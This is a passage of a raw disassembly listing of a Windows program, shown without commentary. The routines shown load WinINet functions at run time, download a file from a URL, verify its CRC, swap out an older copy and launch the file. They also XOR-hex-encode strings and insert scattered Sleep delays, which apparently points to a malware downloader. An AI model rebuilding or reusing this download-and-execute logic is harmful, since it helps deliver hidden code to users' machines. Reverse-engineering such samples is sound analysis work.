		jz	short loc_422630
		mov	eax, [ebp-14h]
		push	eax
		push	0
		mov	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-2Ch]
		push	edx
		lea	ecx, [ebp-20h]
		call	sub_421ACF
		mov	[ebp-38h], eax
		mov	eax, [ebp-38h]
		mov	[ebp-3Ch], eax
		mov	byte ptr [ebp-4], 3
		mov	ecx, [ebp-3Ch]
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_4317A8
		mov	byte ptr [ebp-4], 2
		lea	ecx, [ebp-2Ch]
		call	sub_4317A2
		mov	edx, [ebp-10h]
		push	edx
		call	dword_4331D4	; free
		add	esp, 4
		jmp	short loc_42263D
; ---------------------------------------------------------------------------


loc_422630:				; CODE XREF: TEUm:004225E4j
		push	offset dword_439CAC
		lea	ecx, [ebp-1Ch]
		call	sub_43179C


loc_42263D:				; CODE XREF: TEUm:0042262Ej
		lea	eax, [ebp-1Ch]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_431796
		mov	ecx, [ebp-30h]
		or	ecx, 1
		mov	[ebp-30h], ecx
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-1Ch]
		call	sub_4317A2
		mov	byte ptr [ebp-4], 0
		lea	ecx, [ebp+0Ch]
		call	sub_4317A2
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422680	proc near		; CODE XREF: TEUm:00421BE1p
					; TEUm:00421BF9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_433200	; _mbsnbcpy
		add	esp, 0Ch
		pop	ebp
		retn
sub_422680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226A0	proc near		; CODE XREF: TEUm:00422560p
					; sub_4266E9+1Dp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
sub_4226A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226B0	proc near		; CODE XREF: sub_422A1E+7Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4332CC
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4226B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226C7	proc near		; CODE XREF: sub_4229F0+Ap
					; sub_422BB1+26p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4332CC
		mov	esp, ebp
		pop	ebp
		retn
sub_4226C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226DB	proc near		; CODE XREF: sub_422C48+A6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		call	sub_4227A4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jbe	loc_422798
		cmp	[ebp+arg_4], 0
		jz	short loc_422776
		push	0
		push	8000000h
		push	2
		push	0
		push	0
		push	40000000h
		mov	edx, [ebp+arg_4]
		push	edx
		call	dword_433018	; CreateFileA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_42273E
		xor	al, al
		jmp	short loc_42279E
; ---------------------------------------------------------------------------


loc_42273E:				; CODE XREF: sub_4226DB+5Dj
		mov	[ebp+var_C], 0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	dword_433050	; WriteFile
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_433020	; CloseHandle
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_4]
		jz	short loc_422776
		xor	al, al
		jmp	short loc_42279E
; ---------------------------------------------------------------------------


loc_422776:				; CODE XREF: sub_4226DB+38j
					; sub_4226DB+95j
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_422796
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		push	eax
		call	dword_43304C	; GlobalFree
		mov	ecx, [ebp+var_14]
		mov	dword ptr [ecx+4], 0


loc_422796:				; CODE XREF: sub_4226DB+A2j
		jmp	short loc_42279C
; ---------------------------------------------------------------------------


loc_422798:				; CODE XREF: sub_4226DB+2Ej
		xor	al, al
		jmp	short loc_42279E
; ---------------------------------------------------------------------------


loc_42279C:				; CODE XREF: sub_4226DB:loc_422796j
		mov	al, 1


loc_42279E:				; CODE XREF: sub_4226DB+61j
					; sub_4226DB+99j ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4226DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227A4	proc near		; CODE XREF: sub_4226DB+22p
					; sub_422F1F+35p

var_2034	= dword	ptr -2034h
var_2030	= dword	ptr -2030h
var_202C	= dword	ptr -202Ch
var_2028	= dword	ptr -2028h
var_2024	= dword	ptr -2024h
var_2020	= byte ptr -2020h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2034h
		call	sub_431860
		mov	[ebp+var_2034],	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4227C4
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_4227C4:				; CODE XREF: sub_4227A4+17j
		mov	eax, [ebp+var_2034]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4227ED
		mov	ecx, [ebp+var_2034]
		mov	edx, [ecx+4]
		push	edx
		call	dword_43304C	; GlobalFree
		mov	eax, [ebp+var_2034]
		mov	dword ptr [eax+4], 0


loc_4227ED:				; CODE XREF: sub_4227A4+2Aj
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_4330DC	; LoadLibraryA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_422808
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_422808:				; CODE XREF: sub_4227A4+5Bj
		push	offset aInternetopena ;	"InternetOpenA"
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_202C],	eax
		push	offset aInternetopenur ; "InternetOpenUrlA"
		mov	edx, [ebp+var_1C]
		push	edx
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_8], eax
		push	offset aInternetcloseh ; "InternetCloseHandle"
		mov	eax, [ebp+var_1C]
		push	eax
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_10], eax
		push	offset aInternetreadfi ; "InternetReadFile"
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_2034]
		mov	dword ptr [edx+4], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_2024],	0
		mov	[ebp+var_C], 0
		push	0
		push	0
		push	0
		push	1
		push	0
		call	[ebp+var_202C]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_422898
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_422898:				; CODE XREF: sub_4227A4+EBj
		push	0
		push	9
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	[ebp+var_8]
		mov	[ebp+var_2024],	eax
		cmp	[ebp+var_2024],	0
		jnz	short loc_4228C1
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_4228C1:				; CODE XREF: sub_4227A4+114j
		mov	[ebp+var_2028],	2000h
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_2034]
		cmp	dword ptr [edx+4], 0
		jz	short loc_4228FB
		mov	eax, [ebp+var_2034]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_43304C	; GlobalFree
		mov	edx, [ebp+var_2034]
		mov	dword ptr [edx+4], 0


loc_4228FB:				; CODE XREF: sub_4227A4+138j
		push	0
		push	40h
		call	dword_43305C	; GlobalAlloc
		mov	ecx, [ebp+var_2034]
		mov	[ecx+4], eax


loc_42290E:				; CODE XREF: sub_4227A4+1F9j
		lea	edx, [ebp+var_14]
		push	edx
		push	1FFFh
		lea	eax, [ebp+var_2020]
		push	eax
		mov	ecx, [ebp+var_2024]
		push	ecx
		call	[ebp+var_18]
		test	eax, eax
		jz	short loc_4229A2
		cmp	[ebp+var_14], 0
		jnz	short loc_422934
		jmp	short loc_4229A2
; ---------------------------------------------------------------------------


loc_422934:				; CODE XREF: sub_4227A4+18Cj
		mov	edx, [ebp+var_14]
		mov	[ebp+edx+var_2020], 0
		cmp	[ebp+var_14], 2000h
		jnb	short loc_422952
		mov	[ebp+var_2030],	0


loc_422952:				; CODE XREF: sub_4227A4+1A2j
		push	2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_2034]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433058	; GlobalReAlloc
		mov	ecx, [ebp+var_2034]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		push	edx
		lea	eax, [ebp+var_2020]
		push	eax
		mov	ecx, [ebp+var_2034]
		mov	edx, [ecx+4]
		add	edx, [ebp+var_4]
		push	edx
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		jmp	loc_42290E
; ---------------------------------------------------------------------------


loc_4229A2:				; CODE XREF: sub_4227A4+186j
					; sub_4227A4+18Ej
		cmp	[ebp+var_20], 0
		jz	short loc_4229AF
		mov	ecx, [ebp+var_20]
		push	ecx
		call	[ebp+var_10]


loc_4229AF:				; CODE XREF: sub_4227A4+202j
		cmp	[ebp+var_2024],	0
		jz	short loc_4229C2
		mov	edx, [ebp+var_2024]
		push	edx
		call	[ebp+var_10]


loc_4229C2:				; CODE XREF: sub_4227A4+212j
		cmp	[ebp+var_C], 0
		jz	short loc_4229CF
		mov	eax, [ebp+var_C]
		push	eax
		call	[ebp+var_10]


loc_4229CF:				; CODE XREF: sub_4227A4+222j
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	dword_433054	; FreeLibrary
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2034]
		mov	ecx, [eax+4]
		mov	[edx], ecx
		mov	eax, [ebp+var_4]


loc_4229EA:				; CODE XREF: sub_4227A4+1Bj
					; sub_4227A4+5Fj ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4227A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229F0	proc near		; DATA XREF: TEUm:off_4332CCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4226C7
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_422A15
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43177E
		add	esp, 4


loc_422A15:				; CODE XREF: sub_4229F0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4229F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A1E	proc near		; CODE XREF: sub_429850+34p
		mov	eax, offset loc_431E0B
		call	sub_4318CA	; _EH_prolog
		sub	esp, 284h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[ebp-1Ch], esi
		call	sub_4317AE
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+4]
		call	sub_4317AE
		lea	ebx, [esi+8]
		mov	byte ptr [ebp-4], 1
		mov	ecx, ebx
		call	sub_4317AE
		lea	ecx, [esi+10h]
		mov	byte ptr [ebp-4], 2
		call	sub_4317AE
		lea	ecx, [esi+14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317AE
		lea	edi, [esi+1Ch]
		mov	byte ptr [ebp-4], 4
		mov	ecx, edi
		call	sub_4317AE
		lea	ecx, [esi+20h]
		mov	byte ptr [ebp-4], 5
		call	sub_4317AE
		lea	ecx, [esi+24h]
		mov	byte ptr [ebp-4], 6
		call	sub_4317AE
		lea	ecx, [esi+202Ch]
		mov	byte ptr [ebp-4], 7
		call	sub_4226B0
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 8
		call	sub_4317AE
		lea	eax, [ebp-290h]
		push	125h
		push	eax
		mov	byte ptr [ebp-4], 9
		call	dword_4330D4	; GetWindowsDirectoryA
		lea	eax, [ebp-168h]
		push	104h
		push	eax
		push	0
		call	dword_4330D8	; GetModuleFileNameA
		lea	eax, [ebp-290h]
		mov	ecx, edi
		push	eax
		call	sub_43179C
		mov	edi, dword_4330E0
		push	20h
		call	edi	; Sleep
		lea	eax, [ebp-168h]
		lea	ecx, [esi+20h]
		push	eax
		call	sub_43179C
		lea	eax, [ebp-44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_424B41
		lea	eax, [ebp-44h]
		mov	ecx, ebx
		push	eax
		call	sub_43179C
		push	24h
		call	edi	; Sleep
		push	47h
		lea	eax, [ebp-18h]
		push	offset aD	; "%d"
		push	eax
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		push	25h
		call	edi	; Sleep
		lea	eax, [ebp-18h]
		mov	ecx, esi
		push	eax
		call	sub_43179C
		push	ecx
		mov	eax, esp
		mov	[ebp-10h], esp
		push	esi
		push	ebx
		push	eax
		call	sub_4317B4
		lea	eax, [ebp-10h]
		mov	ecx, esi
		push	eax
		call	sub_422FB0
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_4317A8
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 9
		call	sub_4317A2
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-10h], esp
		push	eax
		call	sub_431796
		mov	ecx, esi
		call	sub_425746
		test	al, al
		jz	short loc_422B90
		mov	byte ptr [esi+18h], 1
		jmp	short loc_422B94
; ---------------------------------------------------------------------------


loc_422B90:				; CODE XREF: sub_422A1E+16Aj
		push	25h
		call	edi	; Sleep


loc_422B94:				; CODE XREF: sub_422A1E+170j
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 8
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_422A1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BB1	proc near		; CODE XREF: sub_4297D0+4Dp
					; TEUm:004327B2p ...
		mov	eax, offset loc_431E6D
		call	sub_4318CA	; _EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		push	0
		mov	dword ptr [ebp-4], 7
		call	dword_4332B0
		lea	ecx, [esi+202Ch]
		call	sub_4226C7
		lea	ecx, [esi+24h]
		mov	byte ptr [ebp-4], 6
		call	sub_4317A2
		lea	ecx, [esi+20h]
		mov	byte ptr [ebp-4], 5
		call	sub_4317A2
		lea	ecx, [esi+1Ch]
		mov	byte ptr [ebp-4], 4
		call	sub_4317A2
		lea	ecx, [esi+14h]
		mov	byte ptr [ebp-4], 3
		call	sub_4317A2
		lea	ecx, [esi+10h]
		mov	byte ptr [ebp-4], 2
		call	sub_4317A2
		lea	ecx, [esi+8]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		and	byte ptr [ebp-4], 0
		lea	ecx, [esi+4]
		call	sub_4317A2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_422BB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C48	proc near		; CODE XREF: sub_422ECA+30p

var_1844	= byte ptr -1844h
var_1044	= byte ptr -1044h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1844h
		call	sub_431860
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_4330CC
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1044]
		mov	[ebp+var_4], ecx
		push	eax
		call	edi	; lstrcpyA
		push	[ebp+arg_C]
		mov	esi, dword_433074
		lea	eax, [ebp+var_1044]
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_1044]
		push	offset a_bin	; ".bin"
		push	eax
		call	esi	; lstrcatA
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1844]
		push	eax
		call	edi	; lstrcpyA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_1844]
		push	eax
		call	esi	; lstrcatA
		cmp	byte ptr [ebp+arg_14], 0
		mov	[ebp+arg_C], 3
		mov	[ebp+var_8], 1
		jz	short loc_422CBD
		and	[ebp+var_8], 0


loc_422CBD:				; CODE XREF: sub_422C48+6Fj
		push	ecx
		mov	ecx, esp
		mov	[ebp+arg_14], esp
		push	offset aInstallzip ; "InstallZip()\n"
		call	sub_43178A
		mov	ecx, [ebp+var_4]
		call	sub_424B35
		mov	ebx, dword_4330E0


loc_422CDB:				; CODE XREF: sub_422C48+10Bj
		lea	eax, [ebp+var_1044]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		lea	ecx, [eax+202Ch]
		call	sub_4226DB
		test	al, al
		jz	short loc_422D45
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_422D45
		cmp	[ebp+arg_1C], 0
		jz	short loc_422D5E
		push	[ebp+arg_1C]
		push	ecx
		mov	ecx, esp
		mov	[ebp+arg_14], esp
		push	[ebp+arg_8]
		call	sub_43178A
		mov	ecx, [ebp+var_4]
		call	sub_424AAF
		cmp	al, 1
		jz	short loc_422D5E
		lea	eax, [ebp+var_844]
		push	offset aCrcFailed ; "crc failed:"
		push	eax
		call	edi	; lstrcpyA
		push	[ebp+arg_8]
		lea	eax, [ebp+var_844]
		push	eax
		call	esi	; lstrcatA


loc_422D45:				; CODE XREF: sub_422C48+ADj
					; sub_422C48+BEj
		dec	[ebp+arg_C]
		push	0EA80h
		call	ebx	; Sleep
		cmp	[ebp+arg_C], 0
		jnz	short loc_422CDB


loc_422D55:				; CODE XREF: sub_422C48+207j
		xor	al, al


loc_422D57:				; CODE XREF: sub_422C48+27Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
; ---------------------------------------------------------------------------


loc_422D5E:				; CODE XREF: sub_422C48+C4j
					; sub_422C48+E1j
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_424A2E
		test	al, al
		jz	loc_422EC3
		cmp	[ebp+arg_10], 0
		jz	loc_422EC3
		push	[ebp+arg_8]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_422DDD
		push	[ebp+arg_8]
		lea	eax, [ebp+var_844]
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [ebp+var_844]
		push	offset a_old	; ".old"
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_844]
		push	1
		push	eax
		push	[ebp+arg_8]
		call	sub_421D8A
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_4221DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_422DDD
		lea	eax, [ebp+var_844]
		push	1
		push	eax
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_422DDD:				; CODE XREF: sub_422C48+145j
					; sub_422C48+183j
		lea	eax, [ebp+var_844]
		push	offset aCrcOkInstall ; "crc ok,	Install("
		push	eax
		call	edi	; lstrcpyA
		push	[ebp+arg_8]
		lea	eax, [ebp+var_844]
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_844]
		push	offset asc_4370B4 ; ")"
		push	eax
		call	esi	; lstrcatA
		push	ecx
		lea	eax, [ebp+var_844]
		mov	ecx, esp
		mov	[ebp+arg_14], esp
		push	eax
		call	sub_43178A
		mov	ecx, [ebp+var_4]
		call	sub_424B35
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_422E40
		lea	eax, [ebp+var_1044]
		push	1
		push	eax
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_422E40:				; CODE XREF: sub_422C48+1E6j
		lea	eax, [ebp+var_1844]
		push	eax
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	loc_422D55
		push	29h
		call	ebx	; Sleep
		push	42h
		call	ebx	; Sleep
		push	3Ch
		lea	eax, [ebp+var_44]
		pop	esi
		push	esi
		push	0
		push	eax
		call	sub_4318B2	; memset
		lea	eax, [ebp+var_1844]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_8]
		push	63h
		mov	[ebp+var_44], esi
		mov	[ebp+var_38], offset aOpen ; "OPEN"
		mov	[ebp+var_28], eax
		call	ebx	; Sleep
		push	0ADh
		mov	[ebp+var_40], 40h
		call	ebx	; Sleep
		cmp	[ebp+arg_C], 0
		jle	short loc_422EC3
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_42640B
		cmp	[ebp+arg_18], 0
		jz	short loc_422EC3
		push	0FFFFFFFFh
		push	[ebp+var_C]
		call	dword_4330D0	; WaitForSingleObject


loc_422EC3:				; CODE XREF: sub_422C48+12Aj
					; sub_422C48+134j ...
		mov	al, 1
		jmp	loc_422D57
sub_422C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_422ECA	proc near		; CODE XREF: sub_424606+262p
		mov	eax, offset loc_431E78
		call	sub_4318CA	; _EH_prolog
		push	ecx
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0
		mov	[ebp-10h], esp
		push	dword ptr [ebp+28h]
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_422C48
		test	al, al
		setnz	al
		jmp	short loc_422F0E
; ---------------------------------------------------------------------------


loc_422F06:				; DATA XREF: TEUm:00434F94o
		mov	eax, offset loc_422F0C
		retn
; ---------------------------------------------------------------------------


loc_422F0C:				; DATA XREF: sub_422ECA:loc_422F06o
		xor	al, al


loc_422F0E:				; CODE XREF: sub_422ECA+3Aj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	24h
sub_422ECA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F1F	proc near		; CODE XREF: sub_42852F+617p

var_868		= byte ptr -868h
var_68		= byte ptr -68h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 868h
		push	ebx
		push	esi
		push	edi
		mov	esi, dword_4330CC
		push	3
		lea	eax, [ebp+var_868]
		pop	edi
		mov	ebx, ecx
		push	[ebp+arg_0]
		push	eax
		call	esi	; lstrcpyA
		add	ebx, 202Ch


loc_422F48:				; CODE XREF: sub_422F1F+85j
		push	[ebp+arg_4]
		lea	eax, [ebp+var_868]
		mov	ecx, ebx
		push	eax
		call	sub_4227A4
		test	eax, eax
		mov	[ebp+var_4], eax
		jbe	short loc_422F62
		xor	edi, edi


loc_422F62:				; CODE XREF: sub_422F1F+3Fj
		test	edi, edi
		jz	short loc_422FA6
		dec	edi
		lea	eax, [ebp+var_68]
		push	edi
		push	offset aRetryD	; "&retry=%d"
		push	eax
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_868]
		push	[ebp+arg_0]
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_868]
		push	eax
		call	dword_433074	; lstrcatA
		push	49400h
		call	dword_4330E0	; Sleep
		test	edi, edi
		jnz	short loc_422F48


loc_422FA6:				; CODE XREF: sub_422F1F+45j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_422F1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422FB0	proc near		; CODE XREF: sub_422A1E+134p
					; sub_424606+F9p ...
		mov	eax, offset loc_431EAB
		call	sub_4318CA	; _EH_prolog
		mov	eax, 4010h
		call	sub_431860
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		push	edi
		mov	dl, ds:byte_439CB0
		mov	esi, 7FFh
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-201Bh]
		mov	[ebp-201Ch], dl
		rep stosd
		stosw
		stosb
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-401Bh]
		mov	[ebp-401Ch], dl
		rep stosd
		stosw
		lea	ecx, [ebp-10h]
		mov	dword ptr [ebp-4], 1
		stosb
		call	sub_4317AE
		push	offset dword_437110
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 2
		call	sub_43179C
		mov	eax, [ebp+0Ch]
		xor	esi, esi
		mov	ebx, [eax-8]
		test	ebx, ebx
		jle	short loc_42306F
		mov	edi, [ebp-10h]
		mov	[ebp-14h], eax
		lea	eax, [ebp-201Ch]
		sub	[ebp-14h], eax


loc_42303B:				; CODE XREF: sub_422FB0+BDj
		test	esi, esi
		jle	short loc_423054
		mov	ecx, [edi-8]
		mov	eax, esi
		cdq
		idiv	ecx
		test	eax, eax
		mov	eax, esi
		jle	short loc_423056
		cdq
		idiv	ecx
		mov	eax, edx
		jmp	short loc_423056
; ---------------------------------------------------------------------------


loc_423054:				; CODE XREF: sub_422FB0+8Dj
		mov	eax, esi


loc_423056:				; CODE XREF: sub_422FB0+9Bj
					; sub_422FB0+A2j
		mov	edx, [ebp-14h]
		mov	al, [eax+edi]
		lea	ecx, [ebp+esi-201Ch]
		mov	dl, [edx+ecx]
		xor	al, dl
		inc	esi
		cmp	esi, ebx
		mov	[ecx], al
		jl	short loc_42303B


loc_42306F:				; CODE XREF: sub_422FB0+7Aj
		xor	esi, esi
		test	ebx, ebx
		jle	short loc_4230A9


loc_423075:				; CODE XREF: sub_422FB0+F7j
		movzx	eax, byte ptr [ebp+esi-201Ch]
		push	eax
		lea	eax, [ebp-16h]
		push	offset a02x	; "%02X"
		push	eax
		call	dword_4331E4	; sprintf
		lea	eax, [ebp-16h]
		push	eax
		lea	eax, [ebp-401Ch]
		push	eax
		call	sub_4318D0	; strcat
		mov	eax, [ebp+0Ch]
		add	esp, 14h
		inc	esi
		cmp	esi, [eax-8]
		jl	short loc_423075


loc_4230A9:				; CODE XREF: sub_422FB0+C3j
		push	offset byte_439CB0
		lea	ecx, [ebp+0Ch]
		call	sub_43179C
		mov	ecx, [ebp+8]
		lea	eax, [ebp-401Ch]
		push	eax
		call	sub_43178A
		mov	dword ptr [ebp-1Ch], 1
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_4317A2
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp+0Ch]
		call	sub_4317A2
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_422FB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230F8	proc near		; CODE XREF: sub_424B41+F3p
					; sub_424B41+142p ...
		mov	eax, offset loc_431EE7
		call	sub_4318CA	; _EH_prolog
		mov	eax, 6018h
		call	sub_431860
		mov	dl, ds:byte_439CB0
		push	ebx
		push	esi
